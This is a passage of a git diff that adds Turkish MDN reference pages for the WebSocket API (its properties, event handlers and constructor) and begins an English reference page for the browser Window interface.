<dt>{{domxref("WebSocket.readyState")}} {{readonlyinline}}</dt> + <dd>Bağlantının şimdiki durumu.</dd> + <dt>{{domxref("WebSocket.url")}} {{readonlyinline}}</dt> + <dd>WebSocket'in mutlak URL'si.</dd> +</dl> + +<h2 id="Yöntemler">Yöntemler</h2> + +<dl> + <dt>{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}</dt> + <dd>Bağlantıyı kapatır.</dd> + <dt>{{domxref("WebSocket.send", "WebSocket.send(data)")}}</dt> + <dd>İletilmek üzere veriyi kuyruğa ekler.</dd> +</dl> + +<h2 id="Örnek">Örnek</h2> + +<p> </p> + +<pre class="brush: js">// WebSocket bağlantısı kur +const socket = new WebSocket('ws://localhost:8080'); + +// Bağlantı kurulduğunda +socket.addEventListener('open', function (event) { + socket.send('Sunucuya bağlanıldı.'); +}); + +// Mesaj alındığında +socket.addEventListener('message', function (event) { + console.log('Mesaj alındı: ', event.data); +}); + +// Mesaj gönder +socket.send('Merhaba!'); + +// Bağlantıyı bitir +socket.close(1000, 'Güle güle.');</pre> + +<p> </p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Belirtim</th> + <th>Durum</th> + <th>Yorum</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + +<div> + + +<p>{{Compat("api.WebSocket")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications <em>(en)</em></a></li> +</ul> diff --git a/files/tr/web/api/websocket/onclose/index.html b/files/tr/web/api/websocket/onclose/index.html new file mode 100644 index 0000000000..5df92f3634 --- /dev/null +++ b/files/tr/web/api/websocket/onclose/index.html @@ -0,0 +1,42 @@ +--- +title: WebSocket.onclose +slug: Web/API/WebSocket/onclose +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/onclose +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><code><strong>WebSocket.onclose</strong></code> özelliği bağlantının {{domxref("WebSocket.readyState","readyState")}} özelliği {{domxref("WebSocket.readyState","CLOSED")}} olduğunda çağırılan bir {{domxref("EventHandler")}}'dır. {{domxref("CloseEvent")}} ile birlikte çağırılır.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox"><em>aWebSocket</em>.onclose = function(event) { + console.log("WebSocket is closed now."); +};</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{domxref("EventListener")}}.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#handler-websocket-onclose', 'WebSocket: onclose')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> diff --git a/files/tr/web/api/websocket/onerror/index.html b/files/tr/web/api/websocket/onerror/index.html new file mode 100644 index 0000000000..62cc321a79 --- /dev/null +++ b/files/tr/web/api/websocket/onerror/index.html @@ -0,0 +1,48 @@ +--- +title: WebSocket.onerror +slug: Web/API/WebSocket/onerror +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/onerror +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><strong><code>WebSocket.onerror</code></strong> özelliği hata oluştuğunda çağırılan bir {{domxref("EventHandler")}}'dır. {{domxref("Event")}} ile birlikte çağırılır.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox"><em>aWebSocket</em>.onerror = function(event) { + console.error("WebSocket error observed:", event); +};</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{domxref("EventListener")}}.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#handler-websocket-onerror', 'WebSocket: onerror')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.onerror")}}</p> diff --git a/files/tr/web/api/websocket/onmessage/index.html b/files/tr/web/api/websocket/onmessage/index.html new file mode 100644 index 0000000000..0ea1dd34c8 --- /dev/null +++ b/files/tr/web/api/websocket/onmessage/index.html @@ -0,0 +1,48 @@ +--- +title: WebSocket.onmessage +slug: Web/API/WebSocket/onmessage +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/onmessage +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><strong><code>WebSocket.onmessage</code></strong> özelliği sunucu tarafından mesaj iletildiğinde çağırılan bir {{domxref("EventHandler")}}'dir. {{domxref("MessageEvent")}} ile çağırılır..</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="brush: js"><em>aWebSocket</em>.onmessage = function(event) { + console.debug("WebSocket message received:", event); +};</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{domxref("EventListener")}}.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#handler-websocket-onmessage', 'WebSocket: onmessage')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.onmessage")}}</p> diff --git a/files/tr/web/api/websocket/onopen/index.html b/files/tr/web/api/websocket/onopen/index.html new file mode 100644 index 0000000000..6ce9a90f75 --- /dev/null +++ b/files/tr/web/api/websocket/onopen/index.html @@ -0,0 +1,48 @@ +--- +title: WebSocket.onopen +slug: Web/API/WebSocket/onopen +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/onopen +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><strong><code>WebSocket.onopen</code></strong> özelliği bağlantının {{domxref("WebSocket.readyState","readyState")}} özelliği {{domxref("WebSocket.readyState","1")}} olduğunda çağırılan bir {{domxref("EventHandler")}}'dir. Bu bağlantının veri alışverişine hazır olduğunu belirtir. {{domxref("Event")}} ile birlikte çağırılır.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="brush: js notranslate"><em>aWebSocket</em>.onopen = function(event) { + console.log("WebSocket ile bağlantı kuruldu."); +};</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{domxref("EventListener")}}.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#handler-websocket-onopen', 'WebSocket: onopen')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.onopen")}}</p> diff --git a/files/tr/web/api/websocket/protocol/index.html b/files/tr/web/api/websocket/protocol/index.html new file mode 100644 index 0000000000..d3a466d14b --- /dev/null +++ b/files/tr/web/api/websocket/protocol/index.html @@ -0,0 +1,46 @@ +--- +title: WebSocket.protocol +slug: Web/API/WebSocket/protocol +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/protocol +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p>Salt-okunur <strong><code>WebSocket.protocol</code></strong> özelliği sunucunun seçtiği alt-protokolü verir. Bu değer {{domxref("WebSocket")}} objesi oluşturulurken belirtilen <code>protocols</code> dizisidir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="brush: js">var protocol = <em>aWebSocket</em>.protocol;</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a>.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket-protocol', 'WebSocket: protocol')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.protocol")}}</p> diff --git a/files/tr/web/api/websocket/readystate/index.html b/files/tr/web/api/websocket/readystate/index.html new file mode 100644 index 0000000000..1f657428d5 --- /dev/null +++ b/files/tr/web/api/websocket/readystate/index.html @@ -0,0 +1,76 @@ +--- +title: WebSocket.readyState +slug: Web/API/WebSocket/readyState +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/readyState +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p>Salt-okunur <strong><code>WebSocket.readyState</code></strong> özelliği {{domxref("WebSocket")}} bağlantısının durumunu verir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="brush: js">var readyState = <em>aWebSocket</em>.readyState;</pre> + +<h2 id="Değer">Değer</h2> + +<p>Aşağıdaki herhangi bir <code>unsigned short</code> değeri:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Değer</td> + <td class="header">Durum</td> + <td class="header">Açıklama</td> + </tr> + <tr> + <td><code>0</code></td> + <td><code>CONNECTING</code></td> + <td>Soket oluşuturuldu ama henüz bağlanmadı.</td> + </tr> + <tr> + <td><code>1</code></td> + <td><code>OPEN</code></td> + <td>Bağlantı kuruldu ve iletişime hazır.</td> + </tr> + <tr> + <td><code>2</code></td> + <td><code>CLOSING</code></td> + <td>Bağlantı kapatılıyor.</td> + </tr> + <tr> + <td><code>3</code></td> + <td><code>CLOSED</code></td> + <td>Bağlantı kapatıldı ya da açılamadı.</td> + </tr> + </tbody> +</table> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.readyState")}}</p> diff --git a/files/tr/web/api/websocket/url/index.html b/files/tr/web/api/websocket/url/index.html new file mode 100644 index 0000000000..b824519c09 --- /dev/null +++ b/files/tr/web/api/websocket/url/index.html @@ -0,0 +1,48 @@ +--- +title: WebSocket.url +slug: Web/API/WebSocket/url +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/url +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p>Salt-okunur <strong><code>WebSocket.url</code></strong> özelliği {{domxref("WebSocket")}} yapısının mutlak URL'sini verir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="brush: js"><em>var url</em> = aWebSocket.url;</pre> + +<p> </p> + +<h2 id="Değer">Değer</h2> + +<p>Bir <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a>.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket-url', 'WebSocket: url')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.url")}}</p> diff --git a/files/tr/web/api/websocket/websocket/index.html b/files/tr/web/api/websocket/websocket/index.html new file mode 100644 index 0000000000..f609e96743 --- /dev/null +++ b/files/tr/web/api/websocket/websocket/index.html @@ -0,0 +1,56 @@ +--- +title: WebSocket() +slug: Web/API/WebSocket/WebSocket +tags: + - API + - Web API + - WebSocket + - Yapı +translation_of: Web/API/WebSocket/WebSocket +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><code><strong>WebSocket()</strong></code> yapısı bir {{domxref("WebSocket")}} objesi verir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox">var <em>aWebSocket</em> = new WebSocket(<em>uri</em> [, protocols]);</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>url</code></dt> + <dd>Bağlanılacak sunucunun URL'si.</dd> + <dt><code>protocols</code> {{optional_inline}}</dt> + <dd>Tek bir protokol dizisi ya da protokol dizilerinin bulunduğu bir küme. Bu diziler alt-protokol olarak belirtilmek amacıyla kullanılır, yani tek bir sunucu çoklu alt-protokoller uygulayabilir (örnek olarak bir sunucunun başka türlü etkileşimleri belirli protokola bağlı olarak idare edebilmek isteyebilirsiniz.). Eğer bir <code>protokol</code> dizisi belirtmediyseniz boş bir dizi kullanılır.</dd> +</dl> + +<h3 id="Olağandışı_durumlar">Olağandışı durumlar</h3> + +<dl> + <dt><code>SECURITY_ERR</code></dt> + <dd>Bağlanılmaya çalışılan port engellenmiş.</dd> +</dl> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.WebSocket")}}</p> diff --git a/files/tr/web/api/window/index.html b/files/tr/web/api/window/index.html new file mode 100644 index 0000000000..31b59eb0ce --- /dev/null +++ b/files/tr/web/api/window/index.html @@ -0,0 +1,462 @@ +--- +title: Window +slug: Web/API/Window +tags: + - API + - DOM + - Interface + - JavaScript + - NeedsTranslation + - Reference + - TopicStub + - Window +translation_of: Web/API/Window +--- +<p>{{APIRef}}</p> + +<p><span class="seoSummary">The <code>window</code> object represents a window containing a DOM document; the <code>document</code> property points to the <a href="/en-US/docs/DOM/document">DOM document</a> loaded in that window.</span> A window for a given document can be obtained using the {{Domxref("document.defaultView")}} property.</p> + +<p>This section provides a brief reference for all of the methods, properties, and events available through the DOM <code>window</code> object. The <code>window</code> object implements the <code>Window</code> interface, which in turn inherits from the <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the <a href="/en-US/docs/JavaScript/Reference">JavaScript Reference</a> and <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a>.</p> + +<p>In a tabbed browser, such as Firefox, each tab contains its own <code>window</code> object (and if you're writing an extension, the browser window itself is a separate window too - see <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> for more information). That is, the <code>window</code> object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the <code>window</code> object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p> + +<p>Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.</p> + +<dl> + <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt> + <dd>An {{domxref("OfflineResourceList")}} object providing access to the offline resources for the window.</dd> + <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt> + <dd>This property indicates whether the current window is closed or not.</dd> + <dt>{{domxref("Window.Components")}} {{Non-standard_inline}}</dt> + <dd>The entry point to many <a href="/en-US/docs/XPCOM">XPCOM</a> features. Some properties, e.g. <a href="/en-US/docs/Components.classes">classes</a>, are only available to sufficiently privileged code. <strong>Web code should not use this property.</strong></dd> + <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd> + <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a reference to the content element in the current window. The obsolete variant with underscore is no longer available from Web content.</dd> + <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns the XUL controller objects for the current chrome window.</dd> + <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt> + <dd>Returns the browser crypto object.</dd> + <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt> + <dd>Gets/sets the status bar text for the given window.</dd> + <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd> + <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt> + <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd> + <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt> + <dd>Synonym of {{domxref("window.personalbar")}}</dd> + <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the document that the window contains.</dd> + <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt> + <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd> + <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt> + <dd>Returns an array of the subframes in the current window.</dd> + <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt> + <dd>This property indicates whether the window is displayed in full screen or not.</dd> + <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt> + <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br> + Was: Multiple storage objects that are used for storing data across multiple pages.</dd> + <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the history object.</dd> + <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt> + <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd> + <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt> + <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd> + <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt> + <dd>Indicates whether a context is capable of using features that require secure contexts.</dd> + <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt> + <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd> + <dt>{{domxref("Window.location")}}</dt> + <dd>Gets/sets the location, or current URL, of the window object.</dd> + <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt> + <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt> + <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd> + <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt> + <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd> + <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}</dt> + <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd> + <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd> + <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd> + <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd> + <dt>{{domxref("Window.name")}}</dt> + <dd>Gets/sets the name of the window.</dd> + <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the navigator object.</dd> + <dt>{{domxref("Window.opener")}}</dt> + <dd>Returns a reference to the window that opened this current window.</dd> + <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt> + <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd> + <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt> + <dd>Gets the height of the outside of the browser window.</dd> + <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt> + <dd>Gets the width of the outside of the browser window.</dd> + <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt> + <dd>An alias for {{domxref("window.scrollX")}}.</dd> + <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt> + <dd>An alias for {{domxref("window.scrollY")}}</dd> + <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd> + <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the parent of the current window or subframe.</dd> + <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt> + <dd>Provides a hosting area for <a href="/en-US/docs/Navigation_timing">performance related</a> attributes.</dd> + <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt> + <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt> + <dd>Formerly provided access to install and remove PKCS11 modules.</dd> + <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt> + <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd> + <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the screen object associated with the window.</dd> + + <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt> + <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd> + <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt> + <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd> + <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt> + <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd> + <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd> + <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt> + <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd> + <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt> + <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd> + <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt> + <dd>Returns an object reference to the window object itself.</dd> + <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt> + <dd>Returns a storage object for storing data within a single page session.</dd> + <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a reference to the window object of the sidebar.</dd> + <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt> + <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd> + <dt>{{domxref("Window.status")}}</dt> + <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd> + <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt> + <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt> + <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd> + <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the current window.</dd> + <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt> + <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd> +</dl> + +<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3> + +<dl> + <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt> + <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt> + <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt> + <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt> + <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p> + +<dl> + <dt>{{domxref("Window.alert()")}}</dt> + <dd>Displays an alert dialog.</dd> + + <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Moves back one in the window history.</dd> + <dt>{{domxref("Window.blur()")}}</dt> + <dd>Sets focus away from the window.</dd> + <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt> + <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd> + <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt> + <dd>Registers the window to capture all events of the specified type.</dd> + <dt>{{domxref("Window.clearImmediate()")}}</dt> + <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd> + <dt>{{domxref("Window.close()")}}</dt> + <dd>Closes the current window.</dd> + <dt>{{domxref("Window.confirm()")}}</dt> + <dd>Displays a dialog with a message that the user needs to respond to.</dd> + <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.dispatchEvent()")}}</dt> + <dd>Used to trigger an event.</dd> + <dt>{{domxref("Window.dump()")}}</dt> + <dd>Writes a message to the console.</dd> + <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.find()")}}</dt> + <dd>Searches for a given string in a window.</dd> + <dt>{{domxref("Window.focus()")}}</dt> + <dd>Sets focus on the current window.</dd> + <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Moves the window one document forward in the history.</dd> + <dt>{{domxref("Window.getAttention()")}}</dt> + <dd>Flashes the application icon.</dd> + <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt> + 